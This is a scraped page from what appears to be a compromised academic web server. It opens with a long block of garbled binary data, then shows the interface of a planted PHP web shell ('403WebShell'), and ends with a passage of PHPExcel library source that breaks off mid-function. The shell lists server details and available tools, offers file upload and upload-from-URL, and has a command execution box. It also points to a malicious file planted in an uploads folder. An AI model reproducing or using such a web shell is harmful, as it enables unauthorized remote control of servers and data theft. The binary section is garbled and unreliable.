�����u�����񶤑Oqˎ�T����r��㠚x�sr�GC��byp�G��1ߠ�w e�8�$⿄����/�M{*}��W�]˷.�CK\�ުx���/$�WP w���r�
|i���&�}�{�X�
�>��$-��l���?-z���g����lΆ���(F���h�vS*���b���߲ڡn,|)mrH[���a�3�ר�[1��3o_�U�3�TC�$��(�=�)0�kgP���� ��u�^=��4 �WYCҸ:��vQ�ר�X�à��tk�m,�t*��^�,�}D*� �"(�I��9R����>`�`��[~Q]�#af��i6l��8���6�:,s�s�N6�j"�A4���IuQ��6E,�GnH��zS�HO�uk�5$�I�4��ؤ�Q9�@��C����wp �BGv[]�u�Ov��� 0I4���\��y�����Q�Ѹ��~>Z��8�T��a��q�ޣ;z��a���/��S��I:�ܫ_�|������>=Z����8:�S��U�I�J��"IY���8%b8���H��:�QO�6�;7�I�S��J��ҌAά3��>c���E+&jf$eC+�z�;��V������r���ʺ������my�e���aQ�f&��6�ND ��.:��NT�vm�<-
u���ǝ\MvZY�N�NT��-A�>jr!S��n�O1�3�Ns�%�3D@���`������ܟ1�^c<�����a�ɽ�̲�Xë#�w�|y�cW�=�<ITS�1�G]�b��I&�"B#E,�N` �l¡/'Pi��Ey�I���h���H�YH�A͑|4Z�A�����Q��>9I*H8�p�^(4���՗�k��arOcW�tO�\�ƍR��8����'�K���I�Q�����?5�>[�}��yU�ײ-h��=��%	q�ThG�2�)���"ו3]�!kB��*p�FDl�A���,�eEi�H�f�Ps�����5�H:�Փ~�H�0Dت�D�I����h�F3�������c��2���E��9�H��5�zԑ�ʚ�i�X�=:m�xg�hd(�v����׊�9iS��O��d@0ڽ���:�p�5�h-��t�&���X�q�ӕ,��ie�|���7A�2���O%P��E��htj��Y1��w�Ѓ!����	����	ࢽ��My�7�\�a�@�ţ�J �4�Ȼ�F�@o�̒<D�Xw���j}�G}9���j{C�<F2�?!x� <�x�=
�K#jU��k��3sr�4�*�\3���T�s�#�Eu y�I���{���F'��_�f����.���c|�TP���z�~�%6���`�v����e*wD�O�˞ᐌN�E�u�|̧hj����G: ��m{�<��SL�xS��4�(��Օ� ���#�t�gS�W�6�*E�:E�QSá|�"�W_$����G���D�}�N~�wQME�c�؁����մs��s�\I�hU��#m� oJ��.�J�٭J��I�Z؂R�`C��Bۇ]�^Y;Tѓ/.^�4�� 5�" ����ӭ�ҟ4��G ����І���jh�{l�oo�]N���a�+�ygm�.dY�!-W����աFnL��
>?4�wx��)��]�P��~�����u�����5�����7X��9��^ܩ�U;Iꭆ
5�������eK2�7(�{|��Y׎�V��\"���Z�1�
Z�����}��(�Ǝ"�1S���_�vE30>���p;�ΝD��%x�W�?W?v����o�^V�i�d��r[��/&>�~`�9Wh��y�;���R�� �;;ɮT��?����r$�g1�K����A��C��c��K��l:�'��3c�ﳯ*"t8�~l��)���m��+U,z��`( �>yJ�?����h>��]��v��ЍG*�{`��;y]��I�T�;c��NU�fo¾h���/$���|NS���1�S�"�H��V���T���4��uhǜ�]�v;���5�͠x��'C\�SBpl���h}�N����� A�Bx���%��ޭ�l��/����T��w�ʽ]D�=����K����r㻠l4�S�O?=�k
�M:���c�C�a�#ha���)�ѐxc�s���gP�iG�� {+���x���Q���I=	��z��ԫ+
�8"�k�ñ�j=|����c��y��CF��/ ��*9ж�h{�?4�o���k�m�Q�N�x��;�Y��4膚�a�w?�6�> e]�����Q�r�:����g�,i"�����ԩA� *M�<�G��b�if��l^M��5� �Ҩ�{����6J��ZJ�����P�*�����Y���ݛu�_4�9�I8�7���������,^ToR���m4�H��?�N�S�ѕw��/S��甍�@�9H�S�T��t�ƻ���ʒU��*{Xs�@����f��� ��֒Li�K{H�w^���������Ϥm�tq���s�
���ք��f:��o~s��g�r��ט�
�S�ѱC�e]�x���a��) ���(b-$(�j>�7q�B?ӕ�F��h<y�ci M�����Jc�����z�Nݝ:�ΧX����&]�+�\�T�F�4���@�+���ןO�׵���?�s�q8���(Y��Ʊ���*�RM��g�Ow0=g`��ښ�=�� 9���#�������o��m�r?���G񶨯�ǘ8��N�t1�%��<찘��5��?*�C�9�v����:�9��9?[�}~����a���)e�G+Ü�t(�N��JFm��e��[��P1'`�h% 4ﶹ�p�m�<��g=�۹��aa��x>V25r[7
Y�}L�R��}����*sg+��x�r�2�U=�*'WS��ZDW]�WǞ�<��叓���{�$�9Ou4��y�90-�1�'*D`�c�^o?(�9��u���ݐ��'PI&�f�Jݮ�������:wS����jfP1F:X�H�9dԯ�� �˝[�_54�}*;@�ܨ��	ð�yn�T���?�ןd�#���4rG�ͨ��H�1�|-#���Mr�S3��G�3�����)�.᧏3v�z֑��r����$G"�`j�1t��x0<Ɔ�Wh6�y�6��,œ�Ga��gA����y��b��)� �h�D��ß�_�m��ü�gG;��e�v��ݝ�nQ���C����-�*��o���y�a��M��I�>�<���]obD��"�:���G�A��-\%LT�8���c�)��+y76���o�Q�#*{�(F�⽕�y����=���rW�\p<yۚQ��bz�To����}��TT�Qqs�,s�vm盭��]���	����l�A�q�T<4p�p�b��U��Q�}�Y@�uZH��0n�����~�b|U�9/-�y#��@�7��]gxZ�Ո�ʟ�a���q�cÜ���M�r�u�r��#'PŻiՑ���o9���Y�����1;�s�����װ��/M"�3��hnt�T`UO��Xz�c�3�g��Cn"���m�e?�B�����9T�����ZW.�Y&�*GK�F��ݥz��q	�����ܧ�TNh#f�D���ᰎn�����}�fQ������69���ZL�C{�/P�̪(@a�[�11��^��J�F5s��T�ֺB��W�~= ���X��.�������_#����*�v�9�*֕�N�;AÛ�5f`pi5n�Ֆb������:�m���ĦiV?�.j,�C��-"��1��D)���`Ѭى,�jI9�ʈ����P����6��$u{�J��w��n4�Dm�m���y��}]���h�)ɹ#R#�΢ن���TZ���k�	����h(xe�G/�������EA��fQBA���?x���bk�T-���y4Ƈy��ИQ���4�3yk�Z&&�x�N�?Y}�.��{lt��u����psm}Cfs�iY�v��/�ZH*1XG�8��GF��u�SZ�#�{&#JȺ[H���su�^53�	��ݜf f讥]`��m���}h�=Xo,a����Ѣ�*����×^KJ1H~-�;,��Ƥ�d���D��B=ƥ����ue�(�D�ӈF��%N5����f��8��6>���۩�c���A���^e6��K������ʐ�cVf5$�'->���ՉN"���F�"�UQ@�f��G<GZ6p�5�(tW3~�!�$�U��#�'���¿���[!���17���;OP�&)��F/w9� )�qn`��y��4��X(�c�m^X)�46� |l0 ̵����ג�����P���`�.Ԛ��7 ��Ẻ����( �D���ȃ&=���ڍ]�����Q�cՏ�ϴ���4���66q��+ԩ�e@�WYb����M�@�`( ���eaP��Z�Y�N}��֧�:z$��K1�I��������=јu�跄),n0`�}���^H���ӯ?C�:@��ED��NŨ;I�]E��/�9^Z��.?��JG� p9�����:�U��c�@ �mxJG�hΏ�t�k��FfS���a��V?F�*�\{-�է8�Q��_�5�tOnyUY6&�}%Ex�,ª�j�rj-��Y���~��"�g�U���X���Y��ԯE��3Tm�� I:�NU���Qw���C�ߛ�L(�H��u���d�]Ǽ����4���G�S���Y�&n[$�A����2L��`6>b~��#�&�M=��8�ט�JNu9��D��[̤�s�o�~��� ���G��9T�tW^g5y$b��Y'��س�Ǵ�=��U-2	#�MC�t(�i�	�ǉ�@Q
5�̣i�*�O����s�x�K�f��}\��M{E�V�{�υ��Ƈ�����);�H����I��fe�Lȣr�2��>��W� I�Ȃ6������i��k���5�YOxȺ����>��Y�f5'��|��H+��98pj�n�.O�y�������jY��~��i�w'������l�;�s�2��Y��:'lg�ꥴ)o#'Sa�a�K��Z��m��}�`169�n���"���x��I ��*+�	}F<��cГ���F�P�������ֹ*�PqX�x۩��,�	��N��
�4<-����%����:��7����W���u�`����� $�?�I��&����o��o��`v�>��P��"��l���4��5'�Z�gE���8���?��[�X�7(��.Q�-��*���ތL@̲����v��.5���[��=�t\+�CNܛ��,g�SQnH����}*F�G16���&:�t��4ُ"A��̣��$�b �|����#rs��a�����T��]�<�j��B S�('$�ɻ�
�wP;�/�n��?�ݜ��x�F��yUn�~mL*-�������Xf�wd^�a�}��f�,=t�׵i�.2/wpN�Ep8�OР�����R�FJ�	
55TZ��T�ɭ�<��]��/�0�r�@�f��V��V����Nz�G��^���7hZi����k��3�,kN�e|�vg�1{9]_i��X5y7�8e]�U����'�-2,���e"����]ot�I��Y_��n�(JҼ��1�O]bXc���Nu�No��pS���Q_���_�?i�~�x h5d'�(qw52]	��'ޤ�q��o1�R!���`ywy�A4u���h<קy���\[~�4�\ X�Wt/�	6�����n�F�a8��f���z�3$�t(���q��q�x��^�XWeN'p<-v�!�{�(>ӽDP7��ո0�y)�e$ٕv�Ih'Q�EA�m*�H��RI��=:������4牢) �%_iN�ݧ�l]�	�Nt���G��H�L���ɱ�g<���1V�,�J~�ٹ�"K��Q�� 9�HS�9�?@��k����r�;we݁�]I�!{�@�G�[�"��`���J:�n]�{�cA�E����V��ʆ���#��U9�6����j�#Y�m\��q�e4h�B�7��C�������d<�?J����1g:ٳ���=Y���D�p�ц�׈ǔ��1�]26؜oS�'��9�V�FVu�P�h�9�xc�oq�X��p�o�5��Ա5$�9W�V(�[Ak�aY錎qf;�'�[�|���b�6�Ck��)��#a#a˙��8���=äh�4��2��C��4tm^ �n'c� ��]GQ$[Wҿ��i���vN�{Fu��1�gx��1┷���N�m��{j-,��x��Ūm�ЧS�[�s���Gna���䑴��x�p8<������97�Q���ϴ�v�aϚG��Rt�Һ׈�f^\r��WH�JU�7Z���y)�vg=����n��4�_)y��D'y�6�]�c�5̪ �\�
�PF�k����&�c;��cq�$~T�7j���nç]�<�g	":�to�t}�159�<�/�8������m�b�K#g'I'.W����� 6��I/��>v��\�MN��g���m�A�yQL�4u�ǈ�j9��#44�t��l^�}L����n��R��!��t��±]��r��h6ٍ>�yҏ�N��fU��	����Fm@�8}�/u��jb9������he:A�y�ծw��GpΧh�5����l}�3p468��)U��d��c����;Us/�֔�YX�1�O2��uq�s��`hwg�r~�{R��mhN��؎*q42�*th��>�#���E����#��Hv�O����q�}����� 6�e��\�,Wk�#���X��b>��p}�դ��3���T5����6��[��@ �P�y*n��|'f�֧>�lư΂�̺����SU�'*�q�p�_S�����M��	'��c�6��� ��m��ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&���dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD�A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR
�D�fV�9��{�8g�������n�h�(P"��6�[�D���<E�����~0<@�`�G�6����Hг�cc���c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^�DW�0�ꊩ���G�#��Q�nL3��c���������/��x
��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D�j����۳�l���^�k�h׽�������#�iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0        !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9�E�ߴ�w�S#d���Ix��u��:��Hp��9E!��
V2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C����	����v-tx����I�sם�Ę�q��Eb�+P\	:>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)�	"��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1K&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h�X��5��<�eޘ>G���-�}�دB�ޟ�
��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry�D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_�؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ�
V77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1�����]�[��)�'������ :�֪�W��FC�����	�B9،!?���]��V��A�Վ�M��b�w��G
F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54�p��.w7���
 ��&������ξxGHp�B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3        !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p���	�����Kv�D��J8�Fҽ�
�f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk����������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq
s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ĳ<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a����m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B�
K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E	T�lrTf6Q|R�h:��[K���z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H�)*ģK~Xhչ0��4?�0����E<���}3���#���u�?��
��|g�S�6ꊤ�|�I#Hڛ�	�ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��;�#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$���AjfG|~�9F���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k��
<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>14.139.229.36</font> &nbsp;/&nbsp; Your IP : <font color=#df5>10.1.1.9</font><br>Web Server : <font color='#df5'>Apache</font><br>System : <font color='#df5'>Linux gbpuat-tech.ac.in 4.18.0-240.15.1.el8_3.x86_64 #1 SMP Mon Mar 1 17:16:16 UTC 2021 x86_64</font><br>User : <font color='#df5'>apache&nbsp;</font>( <font color='#df5'>48</font>)<br>PHP Version : <font color='#df5'>7.2.24</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=red>OFF</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/proc">proc</a>/<a href="?loknya=/proc/self">self</a>/<a href="?loknya=/proc/self/root">root</a>/<a href="?loknya=/proc/self/root/var">var</a>/<a href="?loknya=/proc/self/root/var/www">www</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech">gbpuat-tech</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html">html</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html/mis">mis</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html/mis/PHPExcel">PHPExcel</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html/mis/PHPExcel/PHPExcel">PHPExcel</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html/mis/PHPExcel/PHPExcel/Writer">Writer</a>/<a href="?loknya=/proc/self/root/var/www/gbpuat-tech/html/mis/PHPExcel/PHPExcel/Writer/Excel5">Excel5</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='red'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/admin/uploads/Gallery-1754409810-39997.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /proc/self/root/var/www/gbpuat-tech/html/mis/PHPExcel/PHPExcel/Writer/Excel5/Worksheet.php</tr></td></table><br/><pre>&lt;?php
/**
 * PHPExcel
 *
 * Copyright (c) 2006 - 2014 PHPExcel
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 * @category   PHPExcel
 * @package    PHPExcel_Writer_Excel5
 * @copyright  Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
 * @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt	LGPL
 * @version    ##VERSION##, ##DATE##
 */

// Original file header of PEAR::Spreadsheet_Excel_Writer_Worksheet (used as the base for this class):
// -----------------------------------------------------------------------------------------
// /*
// *  Module written/ported by Xavier Noguer &lt;xnoguer@rezebra.com&gt;
// *
// *  The majority of this is _NOT_ my code.  I simply ported it from the
// *  PERL Spreadsheet::WriteExcel module.
// *
// *  The author of the Spreadsheet::WriteExcel module is John McNamara
// *  &lt;jmcnamara@cpan.org&gt;
// *
// *  I _DO_ maintain this code, and John McNamara has nothing to do with the
// *  porting of this code to PHP.  Any questions directly related to this
// *  class library should be directed to me.
// *
// *  License Information:
// *
// *    Spreadsheet_Excel_Writer:  A library for generating Excel Spreadsheets
// *    Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com
// *
// *    This library is free software; you can redistribute it and/or
// *    modify it under the terms of the GNU Lesser General Public
// *    License as published by the Free Software Foundation; either
// *    version 2.1 of the License, or (at your option) any later version.
// *
// *    This library is distributed in the hope that it will be useful,
// *    but WITHOUT ANY WARRANTY; without even the implied warranty of
// *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// *    Lesser General Public License for more details.
// *
// *    You should have received a copy of the GNU Lesser General Public
// *    License along with this library; if not, write to the Free Software
// *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
// */


/**
 * PHPExcel_Writer_Excel5_Worksheet
 *
 * @category   PHPExcel
 * @package    PHPExcel_Writer_Excel5
 * @copyright  Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
 */
class PHPExcel_Writer_Excel5_Worksheet extends PHPExcel_Writer_Excel5_BIFFwriter
{
	/**
	 * Formula parser
	 *
	 * @var PHPExcel_Writer_Excel5_Parser
	 */
	private $_parser;

	/**
	 * Maximum number of characters for a string (LABEL record in BIFF5)
	 * @var integer
	 */
	public $_xls_strmax;

	/**
	 * Array containing format information for columns
	 * @var array
	 */
	public $_colinfo;

	/**
	 * Array containing the selected area for the worksheet
	 * @var array
	 */
	public $_selection;

	/**
	 * The active pane for the worksheet
	 * @var integer
	 */
	public $_active_pane;

	/**
	 * Whether to use outline.
	 * @var integer
	 */
	public $_outline_on;

	/**
	 * Auto outline styles.
	 * @var bool
	 */
	public $_outline_style;

	/**
	 * Whether to have outline summary below.
	 * @var bool
	 */
	public $_outline_below;

	/**
	 * Whether to have outline summary at the right.
	 * @var bool
	 */
	public $_outline_right;

	/**
	 * Reference to the total number of strings in the workbook
	 * @var integer
	 */
	public $_str_total;

	/**
	 * Reference to the number of unique strings in the workbook
	 * @var integer
	 */
	public $_str_unique;

	/**
	 * Reference to the array containing all the unique strings in the workbook
	 * @var array
	 */
	public $_str_table;

	/**
	 * Color cache
	 */
	private $_colors;

	/**
	 * Index of first used row (at least 0)
	 * @var int
	 */
	private $_firstRowIndex;

	/**
	 * Index of last used row. (no used rows means -1)
	 * @var int
	 */
	private $_lastRowIndex;

	/**
	 * Index of first used column (at least 0)
	 * @var int
	 */
	private $_firstColumnIndex;

	/**
	 * Index of last used column (no used columns means -1)
	 * @var int
	 */
	private $_lastColumnIndex;

	/**
	 * Sheet object
	 * @var PHPExcel_Worksheet
	 */
	public $_phpSheet;

	/**
	 * Count cell style Xfs
	 *
	 * @var int
	 */
	private $_countCellStyleXfs;

	/**
	 * Escher object corresponding to MSODRAWING
	 *
	 * @var PHPExcel_Shared_Escher
	 */
	private $_escher;

	/**
	 * Array of font hashes associated to FONT records index
	 *
	 * @var array
	 */
	public $_fntHashIndex;

	/**
	 * Constructor
	 *
	 * @param int		&amp;$str_total		Total number of strings
	 * @param int		&amp;$str_unique	Total number of unique strings
	 * @param array		&amp;$str_table		String Table
	 * @param array		&amp;$colors		Colour Table
	 * @param mixed		$parser			The formula parser created for the Workbook
	 * @param boolean	$preCalculateFormulas	Flag indicating whether formulas should be calculated or just written
	 * @param string	$phpSheet		The worksheet to write
	 * @param PHPExcel_Worksheet $phpSheet
	 */
	public function __construct(&amp;$str_total, &amp;$str_unique, &amp;$str_table, &amp;$colors,
								$parser, $preCalculateFormulas, $phpSheet)
	{
		// It needs to call its parent's constructor explicitly
		parent::__construct();

		// change BIFFwriter limit for CONTINUE records
//		$this-&gt;_limit = 8224;


		$this-&gt;_preCalculateFormulas = $preCalculateFormulas;
		$this-&gt;_str_total		= &amp;$str_total;
		$this-&gt;_str_unique		= &amp;$str_unique;
		$this-&gt;_str_table		= &amp;$str_table;
		$this-&gt;_colors			= &amp;$colors;
		$this-&gt;_parser			= $parser;

		$this-&gt;_phpSheet = $phpSheet;

		//$this-&gt;ext_sheets		= array();
		//$this-&gt;offset			= 0;
		$this-&gt;_xls_strmax		= 255;
		$this-&gt;_colinfo			= array();
		$this-&gt;_selection		= array(0,0,0,0);
		$this-&gt;_active_pane		= 3;

		$this-&gt;_print_headers		= 0;

		$this-&gt;_outline_style		= 0;
		$this-&gt;_outline_below		= 1;
		$this-&gt;_outline_right		= 1;
		$this-&gt;_outline_on			= 1;

		$this-&gt;_fntHashIndex	= array();

		// calculate values for DIMENSIONS record
		$minR = 1;
		$minC = 'A';

		$maxR  = $this-&gt;_phpSheet-&gt;getHighestRow();
		$maxC = $this-&gt;_phpSheet-&gt;getHighestColumn();

		// Determine lowest and highest column and row
//		$this-&gt;_firstRowIndex = ($minR &gt; 65535) ? 65535 : $minR;
		$this-&gt;_lastRowIndex = ($maxR &gt; 65535) ? 65535 : $maxR ;

		$this-&gt;_firstColumnIndex	= PHPExcel_Cell::columnIndexFromString($minC);
		$this-&gt;_lastColumnIndex		= PHPExcel_Cell::columnIndexFromString($maxC);

//		if ($this-&gt;_firstColumnIndex &gt; 255) $this-&gt;_firstColumnIndex = 255;
		if ($this-&gt;_lastColumnIndex &gt; 255) $this-&gt;_lastColumnIndex = 255;

		$this-&gt;_countCellStyleXfs = count($phpSheet-&gt;getParent()-&gt;getCellStyleXfCollection());
	}

	/**
	 * Add data to the beginning of the workbook (note the reverse order)
	 * and to the end of the workbook.
	 *
	 * @access public
	 * @see PHPExcel_Writer_Excel5_Workbook::storeWorkbook()
	 */
	function close()
	{
		$_phpSheet = $this-&gt;_phpSheet;

		$num_sheets = $_phpSheet-&gt;getParent()-&gt;getSheetCount();

		// Write BOF record
		$this-&gt;_storeBof(0x0010);

		// Write PRINTHEADERS
		$this-&gt;_writePrintHeaders();

		// Write PRINTGRIDLINES
		$this-&gt;_writePrintGridlines();

		// Write GRIDSET
		$this-&gt;_writeGridset();

		// Calculate column widths
		$_phpSheet-&gt;calculateColumnWidths();

		// Column dimensions
		if (($defaultWidth = $_phpSheet-&gt;getDefaultColumnDimension()-&gt;getWidth()) &lt; 0) {
			$defaultWidth = PHPExcel_Shared_Font::getDefaultColumnWidthByFont($_phpSheet-&gt;getParent()-&gt;getDefaultStyle()-&gt;getFont());
		}

		$columnDimensions = $_phpSheet-&gt;getColumnDimensions();
		$maxCol = $this-&gt;_lastColumnIndex -1;
		for ($i = 0; $i &lt;= $maxCol; ++$i) {
			$hidden = 0;
			$level = 0;
			$xfIndex = 15; // there are 15 cell style Xfs

			$width = $defaultWidth;

			$columnLetter = PHPExcel_Cell::stringFromColumnIndex($i);
			if (isset($columnDimensions[$columnLetter])) {
				$columnDimension = $columnDimensions[$columnLetter];
				if ($columnDimension-&gt;getWidth() &gt;= 0) {
					$width = $columnDimension-&gt;getWidth();
				}
				$hidden = $columnDimension-&gt;getVisible() ? 0 : 1;
				$level = $columnDimension-&gt;getOutlineLevel();
				$xfIndex = $columnDimension-&gt;getXfIndex() + 15; // there are 15 cell style Xfs
			}

			// Components of _colinfo:
			// $firstcol first column on the range
			// $lastcol  last column on the range
			// $width	width to set
			// $xfIndex  The optional cell style Xf index to apply to the columns
			// $hidden   The optional hidden atribute
			// $level	The optional outline level
			$this-&gt;_colinfo[] = array($i, $i, $width, $xfIndex, $hidden, $level);
		}

		// Write GUTS
		$this-&gt;_writeGuts();

		// Write DEFAULTROWHEIGHT
		$this-&gt;_writeDefaultRowHeight();

		// Write WSBOOL
		$this-&gt;_writeWsbool();

		// Write horizontal and vertical page breaks
		$this-&gt;_writeBreaks();

		// Write page header
		$this-&gt;_writeHeader();

		// Write page footer
		$this-&gt;_writeFooter();

		// Write page horizontal centering
		$this-&gt;_writeHcenter();

		// Write page vertical centering
		$this-&gt;_writeVcenter();

		// Write left margin
		$this-&gt;_writeMarginLeft();

		// Write right margin
		$this-&gt;_writeMarginRight();

		// Write top margin
		$this-&gt;_writeMarginTop();

		// Write bottom margin
		$this-&gt;_writeMarginBottom();

		// Write page setup
		$this-&gt;_writeSetup();

		// Write sheet protection
		$this-&gt;_writeProtect();

		// Write SCENPROTECT
		$this-&gt;_writeScenProtect();

		// Write OBJECTPROTECT
		$this-&gt;_writeObjectProtect();

		// Write sheet password
		$this-&gt;_writePassword();

		// Write DEFCOLWIDTH record
